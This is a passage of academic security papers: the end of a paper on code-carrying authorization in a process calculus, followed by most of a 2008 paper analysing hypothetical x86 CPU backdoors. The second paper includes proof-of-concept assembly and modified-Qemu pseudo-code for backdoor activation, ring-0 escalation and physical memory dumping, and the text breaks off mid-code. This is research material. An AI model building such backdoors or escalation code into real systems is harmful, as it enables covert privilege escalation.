ers. We show the code for dealing with delegated reviews, which is the most interesting.
The server registers proxies for each pc-member, and accepts requests on each proxy. A
message on the public channel newproxy causes the server to typecheck the code dver
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and install it as a handler and verifier for requests coming from reviewers delegated by
pc-member u:

Server(pwdb:T,ka:KA,kp:KP) =
S | new protectedfilereview:V;

(!in newproxy(dver); typecase dver is y:Pr(U);
spawn y with ((pwdb,ka,kp),protectedfilereview)

|!in protectedfilereview(v,id,r, ); expect Review(v,id,r); [...])
U = ((T,KA,KP),V)
V = Ch(v:Un,id:Un,r:Un,Ok(Review(v,id,r)))

Once appointed, a pc-member installs its delegation proxy on the server. The proxy
receives requests from delegates on a dedicated channel and authorizes them. Upon
delegation, the pc-member needs to send to the delegate a request that contains the
name of the dedicated channel and evidence of delegation. The evidence consists of a
delegation chain that contains a delegation step {u,id,ok}kdv (the name of the delegate
and the paper id encrypted under the delegation key of the pc-member, and an ok token)
and the list terminator (another ok token):

PCMember(v:Un,pctoken:Un) =
!in paperassign(=v,id,idtoken);
new filesubreview:Un;

out newproxy(dver) |
(in delegate(u); out reviewrequest(u,id,filesubreview,({u,id,ok}kdv,ok)))

The verifier dver now installs a process ready to listen to delegate requests on channel
filesubreview, and then verifies requests similarly to the code shown above for off-line
delegation. The main differences are that, in this case, the result returned by the ver-
ification process needs to contain the parameters v, id,r of the effect Review(v,id,r) to
be enforced, and the code (given in the full version [16]) does not contain the implicit
delegation effect Delegate(v,u,id).

The code for the delegate is little changed. It files reviews on the dedicated channels,
or delegates further:

Delegate(v:Un,krv:KR,kdv:KD) =
!in reviewrequest(=v,id,filereview,dc);
(in accept(r); Opinion(v,id,r) | out filereview(v,id,r,({id,r,ok}krv,dc)) |
(in delegate(u); Delegate(v,u,id) | out reviewrequest(u,id,filereview,(v,{u,id,ok}kdv,dc)))

Best-Effort Evidence. Our third example presents a system that supports the possibil-
ity for reviewers to appoint sub-reviewers, without needing immediate access to their
delegation credentials. In a completely static type system, a typical delegation protocol
such as the one presented in the previous section needs to record in a delegation chain
the causal relation between delegation steps. Hence, a reviewer that momentarily does
not have access to its delegation key cannot appoint a sub-reviewer.

We present a protocol that is well-typed, hence guarantees that, each time authoriza-
tion to file a review is granted, the requesting principal is provably a reviewer. Yet, the
protocol is “best-effort”, in that authorization can be denied at run-time if the server has
not yet received all the delegation messages necessary to reconstruct a valid delegation
chain.
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To simplify the presentation, and to illustrate another advantage of CCA, we present
code that does not use cryptography. Suppose that the machine of the reviewer is down,
so she picks up the phone and asks a sub-reviewer to review a paper and to send his
opinion (in the form of a simple verifier) to the server, trusting that the review will be
accepted. The sub-reviewer can do so, or delegate further by issuing another informal
request and by separately contacting the server to communicate his delegation decision:

Delegate(v:Un) =
!in phonereviewrequest(=v,id);
(in accept(r); out filereview(v,id,r,fver))

|(in delegate(u); out phonereviewrequest(u,id) | out latedelegation(v,u,id,dver))
fver = (return)(Opinion(v,id,r)|out return(ok))
dver = (return)(Delegate(v,u,id)|out return(ok))

The server independently accepts requests for filing reviews and messages that state
delegation decisions. In the first case, the server simply verifies that the review can be
filed; in the second case it verifies that it is safe to assert a delegation step. At run-time
the server authorizes the request to file a review from a delegate only if it has already
verified enough delegation evidence to form a chain that originates from an appointed
reviewer:

Server() =
S | PCMember(alice) | Reviewer(bob,42)

| (!in filedreview(v,id,r,fver); verify fver〈〉:Review(v,id,r); [...])
| (!in latedelegation(v,u,id,dver); verify dver〈〉:Delegate(v,u,id);Delegate(v,u,id))

In previous static systems, this sort of best-effort code was not possible. The code had to
be written so that the expectation Review(v,id,r) could occur only after code that would
check the necessary delegation facts.

5 From Theorem Proving to Proof Checking

We have shown how to pass and dynamically check the code of a verifier process.
The dynamic check may involve invoking a theorem prover, potentially a costly op-
eration. On the other hand, passing proofs only requires the receiving side to have a
proof checker, reducing both the trusted computing base and the performance cost of
verification. For this reason, we extend our framework with the capability to pass also
hints, that can help the receiver of a reference monitor with the logical proofs involved
in dynamic typechecking. Hints could be proofs, in the formal sense of the word, or any
other kind of information which may (or may not) be helpful. In particular, hints could
be incomplete proofs, that simplify rather than eliminate theorem proving.

From oks to Hints. The ok token can already be interpreted as an empty hint, that
leaves to the typechecker the burden of finding a proof. We parametrize ok tokens by
a generic language of (possibly empty) proof hints H. Hints may contain variables, so
that they can be combined at run-time to form larger hints. Expectations now mention
a term that can be used as a hint to prove C.
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Syntax for Hints

M,N ::= okH | . . . proof hint H replaces ok
P,Q,R ::= expect C by M | . . . expectation that clause C is derivable by M replaces expect C

The notion of type-safety does not change (just replace expect C by expect C by M),
since the final result that we desire is still that any expectation is justified by logical
entailment. It is the verification process that can be made simpler by adopting a verifi-
cation relation, which naturally should imply entailment.

Verification Relation: V (M,C,S)

Given an authorization logic (C , fn, |=), we assume an abstract verification predicate V that holds
only if a message M is a proof of clause C starting from policy S, and such that V (M,C,S) ⇒
S |= C.

We use hints and the verification relation in the typing rules that involve logical effects.
In particular, we only need to replace (Msg Ok), (Msg Ok Un), and (Proc Expect) by
the corresponding typing rules given below.

Typing Rules for Hints

(Msg Hint)
E,S , 4 fn(H)⊆ dom(E) V (H,C,clauses(E)) ∀C ∈ S

E , okH : Ok(S)

(Msg Hint Un)
E , 4 fn(H)⊆ dom(E)

E , okH : Un

(Proc Expect Hint)
E,C , 4 E , M : Ok(S) C ∈ S

E , expect C by M

The rules for hints are the obvious adaptations of the corresponding rules for ok . Note
that verification can assume as lemmas the effects of hints that are just variables, because
they are included by clauses(E) in the premise of (Msg Hint). Rule (Proc Expect Hint)
no longer involves verification directly. It is the premise needed to give M the Ok(S) type
that may involve proof-checking.

This type system conservatively extends the one without hints. In fact, the type sys-
tem presented in Section 3 correspond exactly to the instance of the current type system
where H is empty, each expectation is of the form expect C by ok , and V (M,C,S) is
defined as S |= C.

Theorem 3 (Safety with Hints). (i) If E , P then P is safe for E. (ii) If x̃:Ũn,S , P then
P is robustly safe for x̃:Ũn,S.

The syntactic sugar from Section 4 can be adapted easily to hints by making explicit
the variable x that is bound to the hint that results from the verification process, so that
it can be used in subsequent expectations, or to build more complex hints.

Verification in Datalog. For the examples, we use the simple hint language and log-
ical verification relation for Datalog defined below, where S |=1 C is the single-step
entailment relation.
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For example, considering S = D :−C,C :−B,B :−A,A and S1 = D :−C,C :−B,B
and S2 = C,D :−C, we have that V (ok(S1,S2),D,S) follows by an instance of
(Verify Pair) with premises V (okS1,C,S), V (okS1,D :−C,S), and V (okS2,D,S1).

Hints and Verification

H ::= S | M proof hint: clauses S or message M

(Verify S)
S |=1 C′ ∀C′ ∈ S′ S′ |=1 C

V (okS′,C,S)

(Verify Pair)
V (okM1,C′,S) ∀C′ ∈ M2 V (okM2,C,M1)

V (ok (M1,M2),C,S)

okS = S (M1,M2) = M1∪M2 M = ∅ otherwise

Example: Best-Effort Evidence Revisited. We revisit the example of Section 4. In the
system without automatic theorem prover, it is not enough to perform the operational
checks that grant authorization. It is also necessary to provide the logical engine with
hints on how to derive the right authorization facts.

For example, a reviewer v for paper id that decides to appoint a sub-reviewer u, needs
to tell the server how to derive from the policy the fact Reviewer(u,id), based on the facts
that may be available by the time the request is submitted. In particular, the hint H in the
verifier code dver contains the facts Delegate(v,u,id), stated by v itself, Reviewer(v,id)
which v cannot state, but that it can assume to be asserted by the time the delegation
request is filed, and the rule needed to conclude Reviewer(u,id). The (simpler) case for
filing reviews is given in the full version [16].

H = Reviewer(U,ID) :− Reviewer(V,ID),Delegate(V,U,ID); Reviewer(v,id);Delegate(v,u,id)
dver = (return)(Delegate(v,u,id) | out return(ok(H))

The server code needs to change the effects obtained by verifying a delegation re-
quest, essentially stating a lemma useful to prove further authorization.

S | PCMember(alice) | Reviewer(bob,id) | ...
| (!in latedelegation(v,u,id,dver); verify dver〈〉:Reviewer(u,id);Reviewer(u,id))

6 Conclusions

In this paper, we introduce “Code-Carrying Authorization” as a discipline for passing
fragments of a reference monitor rather than proofs in order to perform run-time autho-
rization. These fragments are themselves checked dynamically, since in general they are
not trusted. We present a typing discipline that statically enforces safety with respect to
authorization logics, and explore the notion of passing (proof) hints as a way to alleviate
the dynamic verification process. The recent literature contains other type systems for
authorization policies. While we base our work on that of Fournet et al. [12], because of
its simplicity, the ideas that we explore should carry over to more elaborate languages.
In particular, these variants would address the problem of partial trust [13]. They may
also enable us to instantiate CCA in a general-purpose programming language such as
F# [6] (a dialect of ML). Going beyond the present exploration (in which we emphasize
concepts and theory over practice), such extensions are important for the further study
of CCA and its applications.
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Abstract. In this paper, we present the consequences on the security of
operating systems and virtual machine monitors of the presence of a bug
or a backdoor in x86 processors. We will not try to determine whether
the backdoor threat is realistic or not, but we will assume that a bug or a
backdoor exists and analyse the consequences on systems. We will show
how it is possible for an attacker to implement a simple and generic CPU
backdoor to be later able to bypass mandatory security mechanisms with
very limited initial privileges. We will explain practical difficulties and
show proof of concept schemes using a modified Qemu CPU emulator.
Backdoors studied in this paper are all usable from the software level
without any physical access to the hardware.

Keywords: hardware bug, hardware backdoor, x86, CPU.

1 Introduction

Adi Shamir has recently presented [6] the consequences on the security of soft-
ware implementations of a bug or a backdoor in the floating point unit of a
x86 [12] CPU and other very interesting studies [1,9,15] have been very recently
carried out on the topic of hardware bugs and backdoors. Moreover, it is very
interesting to note that the two main x86 CPU developers (Intel� and AMD)
publish lists [8] of hardware bugs in their processors. These lists can be rel-
atively long and it is more than likely than at least some of those bugs will
never be corrected because of the difficulty to modify the behaviour of a shipped
microelectronic chip.

In this paper, we will thus describe different imaginary bugs and backdoors
in x86 processors and show how these can have consequences on the overall
security of operating systems and virtual machine monitors running on top of
such a CPU. To our knowledge, it is the first time that a study on the im-
pact of x86 CPU backdoors on the security is carried out. Apart from recent
works such as the ones mentioned above, hardware security studies [18] tend
to focus on shared resources attacks [5,19], direct memory accesses from rogue
peripherals [10] or side channel attacks [2].

We begin this paper by describing a few architectural characteristics of x86
processors (part 1) and by presenting what the concepts of bugs and backdoors
are about (part 2). Then (part 3) we show how a first simple and generic backdoor
can be used by attackers as a means for privilege escalation over any system to

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 580–599, 2008.
c© Springer-Verlag Berlin Heidelberg 2008
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get to privileges equivalent to those of the running operating system (whichever
it might be). We present sample code that can be used on a OpenBSD-based
system. We use the Qemu [4] open source emulator to simulate such a vulnera-
bility in a CPU and show how exploitation is possible. Next (part 4), we analyse
the impact of this first backdoor on the security of virtual machine monitors
and show that, because of address spaces virtualisation, a modification of the
backdoor is necessary to guaranty the attacker that the exploitation will be pos-
sible whichever the virtual machine monitor might be. Here again, we analyse,
using a modified Qemu emulator, how a non privileged process of one of the
non privileged invited domain running on top of a virtual machine monitor (Xen
hypervisor [20] in the example) can get to privileges equivalent to those of the
virtual machine monitor. Finally (part 5), we study stealth properties of back-
doors and present potential countermeasures.

It is very important to note beforehand that the purpose of this paper is not to
discuss the possibility of a backdoor to be hidden in any hardware component,
but only to analyse the impact of the presence of such a backdoor. What is
the level of complexity that a backdoor must achieve to allow an attacker, with
minimum privileges, but with knowledge of the backdoor, to get to maximum
privileges on a system, even when he does not know the security characteristics
of the system?

2 Introduction to x86 Architectures and to Security
Models

In this section, we briefly present some important x86 concepts that will be
useful throughout the course of this paper. In this section and in the whole
document, we only consider processors from the x86 family (Pentium�, Xeon�,
Core DuoTM , AthlonTM , TurionTM for instance). For the sake of simplicity,
we only analyse the case of 32-bit processors in their nominal mode (protected
mode [13]). The analysis will nevertheless be valid for 64-bit processors in their
nominal mode (IA-32e mode [13]) or in protected mode.

2.1 CPL, Segmentation and Paging

In protected mode, the processor defines four different privilege rings numbered
from 0 (most privileged) to 3 (least privileged). Kernel code is usually running
in ring 0 whereas user-space code is generally running in ring 3. The use of
some security-critical assembly language instructions is restricted to ring 0 code.
The privilege level of the code running on the processor is called CPL for Cur-
rent Privilege Level. The two intermediate levels (ring 1 and 2) are not used in
practice except by some para-virtualisation schemes (see section 2.4).

To be able to run in protected mode, the kernel must define a unique local
structure called the Global Descriptor Table (GDT ). The GDT stores (mostly,
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but not only) descriptors of memory blocks called segments. Segments are po-
tentially overlapping contiguous memory blocks. Segments are defined by a base
address, a type (basically code or data), a size, and a privilege ring number
(called “segment DPL”) which represents the ring up to which the segment
may be accessed. A pointer to an entry in the GDT is called a segment selector.

Most hardware components of the motherboard can access memory using so-
called physical memory addresses. Software code is however required to use log-
ical addresses composed of a segment selector and an offset within the segment.
Figure 1 shows how the Memory Management Unit (MMU) of the processor
decodes the address using the GDT and translates it into a linear1 (also called
virtual) memory address.

When enabled, the paging mechanism is in charge of translating virtual mem-
ory addresses into physical ones. The translation is enforced using tables called
page directories and tables. Page directories and tables may differ from one
process to the other. The base address of the current page directory is stored in
the cr3 CPU control register than can only be accessed by ring 0 code.

2.2 About Assembly Language Mnemonics

Code can basically be considered as a binary sequence called “machine lan-
guage”. This binary sequence is composed of elementary instructions called
opcodes. In order to read or write low level code more easily, each opcode is
associated with an understandable name called “mnemonic”. Translation of an
opcode into a mnemonic is deterministic. However, the opposite operation is
not, as mnemonics are context sensitive. For instance, the “ret” mnemonic can
be associated with the 0xc3, 0xcb, 0xc2 or even 0xca opcode depending on the
context. So, if we write assembly language programs, and if we want to accom-
plish non standard operations (force the execution of a particular opcode) there
will be no other solution that to directly write opcodes in the program to avoid
arbitrary and inaccurate translations by the compiler.

1 Correspondence between logical and linear addresses is usually straightforward be-
cause segment base addresses are often null. Therefore, the linear address is most of
the time numerically equal to the offset field of the logical address.
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2.3 Operating Systems Security Models

We will not describe in this section all the properties of operating systems as
far as security is concerned but we will describe some mechanisms that we will
show later how to circumvent using CPU backdoors. Generally speaking, what we
expect from an operating system is to ensure a strong isolation between the most
privileged components (i.e. the kernel) and user space. In order to achieve this,
the kernel may use the CPL, segmentation and paging mechanisms. However,
some applications are generally considered by operating systems more privileged
than others. It is typically the case of applications running in ring 3 but with
superuser privileges (“root” applications on a Linux/Unix system for instance).
In this document, we will always consider an attacker model where the attacker
is only able to run code in the context of a non privileged application.

2.4 Virtualisation and Isolation

Virtualisation very basically allows several guest operating systems to run in
parallel on the same machine, each of them being unaware of being executed on
the same machine as others. One form of virtualisation if the so-called paravir-
tualisation. In a paravirtualisation framework, a privileged software component
called a hypervisor or a virtual machine monitor is running on top of the actual
hardware of the machine and provides an abstraction of hardware resources to
guest operating systems while maintaining a principle of isolation between do-
mains: it must be impossible for each guest operating system to get access to a
resource allocated to another or to the hypervisor. One example of such a virtual
machine monitor is the Xen [20] hypervisor.

In order to study the security of hypervisors, it is often considered that guest
operating systems kernels themselves can try to attack hypervisors. However, in
this paper, we consider that attackers are only able to run code in the context of
a non privileged application of a non privileged guest operating system and we
will see that if this attacker has prior knowledge of a correctly designed generic
backdoor in the CPU, such privileges are sufficient for him to get to maximum
privileges on the system.

3 Taxonomy and First Analysis

3.1 Bug, Backdoor or Undocumented Function?

Bugs, backdoors and undocumented functions are three different concepts. A
bug is an involuntary implementation mistake in a component that will in some
cases, lead to a failure of the latter. An undocumented function corresponds
to a function implemented on purpose by the developer but that has not been
openly documented for some reason. Good examples of sometimes undocumented
functions are debug functions. x86 processors actually implement some initially
undocumented opcodes such as the “salc” assembly language instruction, that
we will study in part 4.1, whose signification has been made public in [7]. Usually,
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implementing undocumented functions cannot be considered a good idea because
such functions will not be taken into account in third party security evaluations.
This may lead to potential security breaches if an attacker gets knowledge of
one of these functions and finds out how to exploit it to his advantage. Finally,
a backdoor corresponds to the introduction, at some point of the design process,
of a function whose only purpose is to grant additional privileges to the entity
using it. A traditional example of a backdoor is a network adapter reacting to a
given IP frame by copying the entire system memory using DMA (Direct Memory
Access [10]) accesses and sending selected parts on the network. Another example
is a smartcard that, when it receives some data x always returns x encrypted by
a key K, except for a particular value of x where only K is returned.

Even though those notions correspond to three different concepts, in the
course of a security analysis, they should always be considered equivalent. It
should always be assumed that the operational consequences of a potential bug
or unknown undocumented functionality are equivalent to that of a backdoor.
In other words it is fair to assume that in the worst case, a bug can be used by
an attacker as a means for privilege escalation over the system. In this docu-
ment, we will thus use the term “backdoor” to indifferently reference an actual
backdoor, a bug or an undocumented functionality.

3.2 Value of a Backdoor to an Attacker

As stated in introduction, we will not analyse if it is realistic to think that
backdoors are implemented in commercial products, but rather study the way
that a generic backdoor can be usable by an attacker as a means for privilege
escalation over a system. We will describe simple backdoors that are actually
usable by attackers even from very isolated environnements. The global intuition,
from the attacker’s point of view is that the backdoor should:

– not be active at all time but it should be possible to activate the backdoor;
– not be detectable by anybody who does not already have sufficient knowledge

of the backdoor;
– not require any specific hardware privilege to be activated.

The backdoor can for instance be activated by a chosen non-privileged assembly
language instruction. In order for the backdoor to be hard to detect, it is possible
to have the backdoor activated only when some conditions on the CPU state are
met. These conditions can be linked to the state of the data registers of the
CPU (EAX, EBX, ECX, EDX, ESI, EDI). These registers can be modified by
a non privileged process with classic non-privileged instructions such as mov
$value, register (see part 4.1).

Once the backdoor is activated and independently of his initial privileges, the
attacker is typically willing to get to maximum privileges on the system:

– get to privileges equivalent to protected mode (or IA-32e) ring 0;
– have at his disposal a way to bypass operating systems- or virtual ma-

chine monitors-controlled memory virtualisation mechanisms. It might not
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be sufficient for an attacker to get to ring 0 privileges if he cannot find the
actual location of its target structures.

The first item seems easy to meet (it is sufficient to grant the running task
ring 0 privileges), the second item is more difficult to analyse and will be studied
in section 5.2. Our methodology will be to consider backdoors increasingly more
complex and analyse their impact on software components running on top of
trapped components.

4 Basic Backdoor Exploitation

4.1 Backdoor Definition (During Component Conception)

In this section, we consider that the processor on top of which a random operating
system is running implements a bug or a backdoor that modifies the behaviour
of one of the assembly langage instructions, for instance the “salc” (opcode
0xd6) instruction. The “salc” instruction theoretically clears or sets the CPU
AL register depending on whether or not the Carry flag of the EFLAGS state
register is set. This instruction is in practice not used very much as it is not
documented in the main specifications of x86 processors. Here is the pseudo-
code for the instruction:

if (RFLAGS.C == 0) AL=0;
else AL=0xff;

We will now consider that this behaviour is the actual behaviour in most cases,
but if the EAX, EBX, ECX and EDX are in a given state (for instance EAX=
0x12345678, EBX=0x56789012, ECX=0x87651234, EDX=0x12348256) when
“salc” is run, then the CPL field of the CPU is set to 0. Morally, this corre-
sponds to granting ring 0 privileges to the task running on the CPU. We will
see later that this simple transition however could lead to some incoherences
in the CPU state that should be taken into account during the course of the
exploitation of the backdoor.

The modified behaviour of “salc” is now:

if (EAX == 0x12345678 && EBX == 0x56789012
&& ECX == 0x87651234 && EDX == 0x12348256)

CPL = 0; #CPL formally corresponds to CS.RPL.
else if (RFLAGS.C == 0) AL=0;
else AL=0xff;

This backdoor seems a very simple one but we will see in the next section that
even this simple backdoor can be used to allow a non privileged process to get to
maximum privileges (chosen ring 0 code execution) on a platform. Moreover, this
backdoor is virtually undetectable. It is only activated when EAX, EBX, ECX,
EDX reach a given state. If the state of each register was an independently
identically distributed variable, the probability that such a state was reached
accidentally would be 2−32∗4 = 2−128 and only if the “salc” instruction is used.
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In practice, the states of the registers are not independent2 but the probability
stays very low and can be considered to be null if the opcode that triggers the
backdoor is an otherwise undefined opcode.

Additionally, the probability that an operating system triggering the backdoor
by mistake would carry on running is also very low. To avoid the discovery of
the backdoor when such a system breakdown is audited, the attacker can use an
evolutive backdoor (see section 6.2). Another possible approach can be to select
a commonly used opcode to activate the backdoor, so that the attack code is
not recognized as such by static analysers. Also, it will always be possible for an
attacker to write the attack code in such a fashion that it will run normally on
non-trapped processors and that it will be considered perfectly legitimate code
during code analysis.

That being said, it is always interesting for the attacker to have a second
backdoor that will revert the effects of the first one and allow a transition to
ring 3 for the running application, it order to make sure that the system will be
able to get back to a stable state after backdoor exploitation.

if (EAX == 0x12345678 && EBX == 0x56789012
&& ECX == 0x87651234 && EDX == 0x12348256)

CPL = 0; #CPL formally corresponds to CS.RPL.
else if (EAX == 0x34567890 && EBX == 0x78904321

&& ECX == 0x33445566 && EDX == 0x11223344)
CPL = 3;

else if (RFLAGS.C == 0) AL=0;
else AL=0xff;

4.2 Use of the Backdoor

We shall now assume that there exists a x86 CPU implementing such a backdoor
(see figure 2(a)) and we shall consider an attacker with enough privileges to run
code with restricted privileges on a system based on a traditional operating
system running on the trapped CPU. Traditional operating systems (Linux,
Windows, OpenBSD, FreeBSD, etc.) all use code and data segments (both in
ring 0 and ring 3) with a zero base address, and we will thus consider that it
is the case. Systems where it is not the case will be analysed in section 5. We
will show in this section how such an attacker can use the backdoor to get to
maximum privileges (that of the kernel of the operating system).

In order to use the backdoor as a means for privilege escalation, the attacker
must:

– activate the backdoor by placing the CPU in the desired state and running
the “salc” instruction;

– inject code and run it in ring 0;

2 EAX may store return codes and ECX often stores loop counters. Some assembly
langage instructions modify the value of a register depending on the value of others.
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– get back to ring 3 in order to leave the system in a stable state. Indeed, when
code is running in ring 0, systems calls do not work and leaving the system
in ring 0 and run a random system call (exit() typically) is likely to crash
the system.

Before starting the exploitation of the backdoor, the attacker has to:

– locate in the GDT a ring 0 code segment with a maximum size. The trap
grants ring 0 privileges to the running task but does not modify the other
characteristics of the task code segment (size for instance);

– locate in the GDT a data segment with a maximum size;
– locate, depending on the attack code, the vitual memory location of tar-

get structures (system calls, variables) that the attacker would be willing
to modify for instance to change the way the operating system works or
implements its security policy.

Most operating systems use a ring 0 code and a ring 0 data segment that covers
the entire virtual memory space, but the location of this segment in the GDT is
different from one system to the other. The most simple way for the attacker to
locate the segment is to dump the GDT on an identical operating system where
he has sufficient privileges. Most of the time, the attacker can (alternatively)
assume that the segment with a 0x08 selector is the ring 0 code segment and
the segment with a 0x10 selector is the ring 0 data segment as it is actually the
case for most systems. Randomisation of the GDT is theoretically possible but
is not common practice. As many other randomisation technics, this would only
slow the attacker as he has other ways to determine the segments that are used
by the system (log files, core dumps, debug info etc.).

Locating target structures is relatively simple on systems that do not ran-
domise their virtual space. A simple “nm” command on the kernel of a UNIX
system will give the virtual address of all kernel structures. When randomisa-
tion is used, or when the system implements a “W xor X” scheme, the attacker
work will be slightly more complicated as he will have to analyse and modify
the content of page tables to write to target structures.

For the “return to ring 3 without the system crashing” phase , it is necessary
for the attacker to find suitable ring 3 data and code segments. Usually, ring 3
code and data segment location in the GDT do not depend on the operating
system, but it is nevertheless simpler for the attacker to push onto the stack
the selectors of the segment the attack program is using prior to activating the
backdoor and recover them when the attack has been successfully carried out.

The generic steps of the attack are the following.

– activation of the backdoor;

"mov $0x12345678, %eax\n"
"mov $0x56789012, %ebx\n"
"mov $0x87651234, %ecx\n"
"mov $0x12348256, %edx\n" //backdoor activation
".byte 0xd6\n" //salc opcode
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– call to a kern f function that will be run in ring 0 using a “long call” to the
chosen ring 0 code segment;

"lcall $0x08, $kern_f\n" //call to a ring 0 code segment

– in the kern f function, load of a suitable data segment (and if need be of a
suitable stack segment);

"push %ds\n"
"mov $0x10, %ax\n" //data ring 0 segment load
"mov %ax, %ds\n" //in ds register

– execution of the payload (for instance modification of security-critical secu-
rity variable, of the current uid, of a system call);

– selection of a ring 3 data segment;

"pop %ds\n"

– building of a dummy stack that will allow a return to ring 3 masquerading
a return from an interrupt handler by stacking successively a stack segment,
a stack pointer, a code segment selector, an return instruction pointer (here
the address of the “end” function);

"mov $0x0027, %eax\n" //construct of the stack
"push %eax\n" //as if we were requesting
"push %esp\n" //a return from an interrupt
"mov $0x002b, %eax\n"
"push %eax\n"
"mov $end, %eax\n" //return address
"push %eax\n"

– running the “ret” assembly langage instruction;

".byte 0xcb\n" //ret instruction (opcode form
//to avoid interpretation
//as a "ret" in the same segment)

– in the “end” function, deactivate the backdoor and exit normally (exit()
system call for instance).

"mov $0x34567890, %eax\n"
"mov $0x78904321, %ebx\n"
"mov $0x33445566, %ecx\n"
"mov $0x11223344, %edx\n"
".byte 0xd6\n"

We implemented a proof of concept demonstrating the usability of such a back-
door. The proof of concept setting is described in figure 2(a). The CPU is a Qemu
emalutor [4] that has been modified to implement the backdoor of the previous
section. On top of this trapped CPU, a UNIX OpenBSD [16] is running. The
attacker is allowed to run code as an unprivileged (non root) user of the system.
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Fig. 2. Proof of concept setting: (a) backdoor from part 4.1 against a OpenBSD-based
system (b) Use of backdoor from part 5 against a Xen hypervisor

The proof of concept scheme exactly follows the steps we just described and
allows the attacker to get to kernel privileges.

5 Impact on Virtual Machine Monitors

In this section, we consider that a virtual machine monitor (for instance a
Xen hypervisor) is running on a x86 machine and we assume that the CPU
of the machine implements the backdoor described in the previous section. We
also assume that one or several guest operating systems are running on top
of the virtual machine monitor. The hypervisor might be using VT [14] or
Pacifica [3] extensions to allow guest operating kernel to run unmodified. We
assume in this section that an attacker has found a way to run arbitrary code
in the context of a non-privileged process of a non-privileged guest. Figure 2(b)
shows such a setting. We will show in this section that even if the attacker will
not be able to use the backdoor from the previous section as such, a slightly
more complex (but still generic and very simple) backdoor will be usable to get
to maximum privileges on the system without knowledge of the virtual machine
monitor and the memory structure (resource repartition between hypervisor and
invited guests) that are being used.

5.1 Use of the Backdoor from Section 4.1

The use of a virtual machine monitor that is unknown to the attacker can make
the exploitation of the basic backdoor from section 4.1 impossible. A critical
step of the scheme we presented is to find a usable ring 0 code segment that will
provide access to target structures. As ring 0 code segments are only used by
the hypervisor, the base address of such segments has no particular reason to be
identical to that of ring 3 segments that are used by the guest operating system
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(that itself does not have knowledge of or access to the GDT of the system).
Moreover, in order to modify target hypervisor structures that are not mapped
in guest virtual memory, the attacker has to get access to page directories and
tables that in turn have no reason to be accessible from guest operating systems
segments. So basically in order for the attack to work, the attacker would have
to first to access the GDT or the page directory and tables which is impossible
without prior knowledge of the hypervisor memory management strategy. This
shows that it will be, in the general case, impossible for the attacker to use the
backdoor to get to maximum privileges.

5.2 A Modified Backdoor

If an attacker wants to be able to get to maximum privileged in a hypervisor-
based system without prior knowledge of the system, he requires a backdoor
that provides him with:

– ring 0 privileges;
– a usable ring 0 code segment. A ring 0 code will not be usable unless the

relative position of this segment and the ring 3 code segment at the time of
backdoor activation is known. This is necessary to ensure that the virtual
address of the attack process will be valid;

– a data segment that is allowed to bypass segmentation and paging. This is
necessary as in order for instance to modify structures of the hypervisor that
are not mapped in the operating system virtual space, the attacker has to
modify page tables that are themselves probably not mapped in the guest
operating system virtual space. Moreover, the attacker will certainly need
to modify the GDT to create usable segments and locating the GDT will
require direct access to physical memory.

The backdoor will thus be modified to give the current task ring 0 privileges, to
permanently provide a dummy selector number that, when used in the course
of a “lcall” instruction, will cause the load of a ring 0 code segment identical
to the code segment of the current task (identical base address and size) except
of course for the fact that the segment is a ring 0 code segment. Finally the
backdoor will provide a way to bypass paging.

Of course the backdoor can now be activated and deactivated at will. It is a
major issue as the backdoor is now stateful. In the first basic backdoor, activation
only caused modification of the CPL field. With this new backdoor however, the
dummy segment selector is for instance available as soon as the backdoor is
activated and until it is deactivated.

In our proof of concept implementation, we modified the Qemu CPU emulator
to implement a backdoor with such characteristics. We chose to use a variable
called “backdoor” that indicates the state of the backdoor (1 for activated, 0
for deactivated). What is interesting is that for the backdoor to be usable the
variable backdoor needs only have an influence on the “lcall” and “lret” assem-
bly langage instructions. The modified behaviour of the “salc” instruction thus
becomes the following.
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if (EAX == 0x12345678 && EBX == 0x56789012
&& ECX == 0x87651234 && EDX == 0x12348256)

backdoor = 1;
else if (EAX == 0x34567890 && EBX == 0x78904321

&& ECX == 0x33445566 && EDX == 0x11223344)
backdoor = 0;

else if (RFLAGS.C == 0) AL=0;
else AL=0xff;

Of course the “lcall” and “lret” instruction must also be modified so that if the
variable backdoor is set and the dummy selector (in our implementation the
0x4b selector) is called then the load of the desired segment happens. Proof of
concept modifications of Qemu are presented in appendix B.

In order to bypass paging, we chose to implement a mechanism that al-
lows the attacker to directly read or write into physical memory at a chosen
address. The mechanism we implemented is similar to the PCI configuration
mechanism [17]. The EAX register is used as an address register and EBX is
used s a data register.

//Read operation: //Write operation:
mov A , %eax mov A , %eax
mov $0, %ecx // 0 for read mov V , %ebx
salc mov $1, %ecx // 1 for write
// on salc EBX <- V salc // on salc [A] <- V
// with V = [A] 32-bit memory content // 32-bit data at address A is
// at address A // set to V

and the modified salc instruction becomes:

if (EAX == 0x12345678 && EBX == 0x56789012
&& ECX == 0x87651234 && EDX == 0x12348256)

backdoor = 1;
else if (EAX == 0x34567890 && EBX == 0x78904321

&& ECX == 0x33445566 && EDX == 0x11223344)
backdoor = 0;

else if (backdoor == 1 && ECX == 0x1) { //write operation
address = EAX;
value = EBX;
physical_memory_w(address, (char *) &value, 4); }

else if (backdoor == 1 && ECX == 0x0) { //read operation
address = EAX;
physical_memory_r(address, (char *) &result, 4);
EBX = result; }

else if (RFLAGS.C == 0) AL=0;
else AL=0xff;

5.3 Proof of Concept Use of the Backdoor

The attacker can get low level access to physical memory, discover the memory
structure of the structure (GDT, page tables) and modify it. In the following
code example, physical memory is dumped in the “output file” file.
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int i, res;
int fd = open("output_file", O_RDWR); //ouput file

for(i=0; i<MEM_SIZE; i+=4) //loop until the end of physical memory
{

__asm__ volatile(
"push %%eax\n" //save data registers
"push %%ebx\n"
"push %%ecx\n"
"push %%edx\n"
"mov $0x12345678, %%eax\n" //backdoor activation
"mov $0x56789012, %%ebx\n"
"mov $0x87651234, %%ecx\n"
"mov $0x12348256, %%edx\n"
".byte 0xd6\n" //backdoor = 1
"mov %1, %%eax\n" // EAX <- i
"mov $0, %%ebx\n" // EBX set to 0
"mov $0, %%ecx\n" // ECX <- 0
".byte 0xd6\n" //read operation

:"=b" (res):"m"(i)); // res <- EBX

__asm__ volatile(
"lcall $0x4b, $test\n" //run function "test" code

"mov $0x34567890, %eax\n" //in ring 0. 0x4b is a dummy
"mov $0x78904321, %ebx\n" //selector that can be used at
"mov $0x33445566, %ecx\n" //will by the attacker
"mov $0x11223344, %edx\n"
".byte 0xd6\n" //backdoor = 0
"pop %eax\n" //data register recover
